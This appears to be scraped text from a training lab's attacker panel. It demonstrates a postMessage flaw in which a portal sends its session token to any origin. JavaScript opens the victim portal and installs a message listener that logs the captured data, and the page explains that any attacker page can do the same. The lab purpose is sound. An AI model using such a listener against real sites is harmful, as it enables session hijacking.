Attacker
S4
Sniff the session context
The portal sends its session token with "*" as the target
origin. Whoever opened it — or embedded it — is on the receiving end.
const popup = window.open("https://victim.com");
window.addEventListener("message", (event) => {
console.log("Captured data:", event.data);
});
window.addEventListener("message", (event) => {
console.log("Captured data:", event.data);
show(event);
});
const popup = window.open("https://victim.pmlab.amir.baby/s4-session");
No payload needed here. There is no injection at all — the portal simply
hands the data to whoever is listening. The same listener that is set up here is
what an attacker puts on any page they can get a victim to visit.
Ready.
Captured messages
— nothing captured yet —
Victim in a frame
The portal runs on https://victim.pmlab.amir.baby.